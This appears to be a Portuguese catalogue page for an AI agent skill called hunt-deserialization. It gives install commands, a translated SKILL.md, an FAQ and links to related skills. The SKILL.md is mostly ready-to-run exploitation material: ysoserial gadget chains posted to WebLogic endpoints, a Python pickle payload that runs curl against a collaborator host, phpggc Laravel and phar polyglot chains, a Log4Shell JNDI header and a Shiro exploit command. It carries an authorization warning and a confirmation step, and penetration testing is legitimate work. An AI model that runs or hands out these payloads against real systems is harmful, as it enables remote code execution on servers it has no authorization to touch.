hunt-deserialization
Faz seu agente buscar por falhas de desserialização insegura. Isso evita que código malicioso seja executado.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em como um programa lida com dados que ele recebe. Ela procura por um tipo específico de vulnerabilidade chamada 'desserialização insegura', que pode permitir que um invasor execute comandos maliciosos no sistema.
Quando usar
- ✓Ao testar a segurança de um aplicativo web.
- ✓Para verificar se um servidor está vulnerável a ataques de execução remota.
- ✓Durante auditorias de segurança para encontrar falhas conhecidas.
Exemplo do que pedir para a IA
“Verifique se o site example.com é vulnerável a desserialização insegura.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia dados especialmente criados para o alvo e observa se o programa reage de forma inesperada, indicando uma possível falha. Ela usa técnicas conhecidas para explorar diferentes linguagens de programação (Java, PHP, Python, etc.).
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-deserializationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-DESERIALIZATION — Desserialização Insegura
Alvos de Joias da Coroa
Bugs de desserialização são quase sempre Críticos — levam diretamente à RCE sem condições prévias.
Cadeias de maior valor:
- Cadeias de gadgets ysoserial Java — CommonsCollections, Spring, JNDI, gadgets Groovy → execução de comando do sistema operacional completo
- Injeção de Objeto PHP — métodos mágicos
__wakeup/__destruct→ gravação de arquivo / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — cadeia de gadgets TypeConfuseDelegate → RCE
- Ruby Marshal.load — gadgets Gem::Requirement, Gem::Installer → RCE
- Injeção JNDI — padrão Log4Shell:
${jndi:ldap://attacker/a}→ carregamento de classe → RCE
Sinais da Superfície de Ataque
Padrões de Detecção
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Sinais de Cabeçalho / Cookie
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
Metodologia de Caça Passo a Passo
Fase 1 — Desserialização Java (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
Fase 2 — Injeção de Objeto PHP
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
Fase 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
Fase 3b — PHP phar://, Python YAML, desserialização Node
- PHP phar:// (sem chamada
unserialize()) — qualquer função de sistema de arquivos (file_exists/fopen/getimagesize) em um caminhophar://desserializa os metadados do arquivo → injeção de objeto com zerounserialize()no código.phpggc -p phar -o poly.jpg Monolog/RCE1 system id # imagem válida + poliglota phar
…
Perguntas frequentes
O que é 'desserialização insegura'?
É quando um programa confia demais em dados que recebe de fontes externas e os reconstrói sem verificar se são seguros, permitindo que dados maliciosos executem código.
O que é RCE?
RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma falha grave que permite a um invasor executar comandos no computador da vítima remotamente.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso sem autorização é ilegal.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3253
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC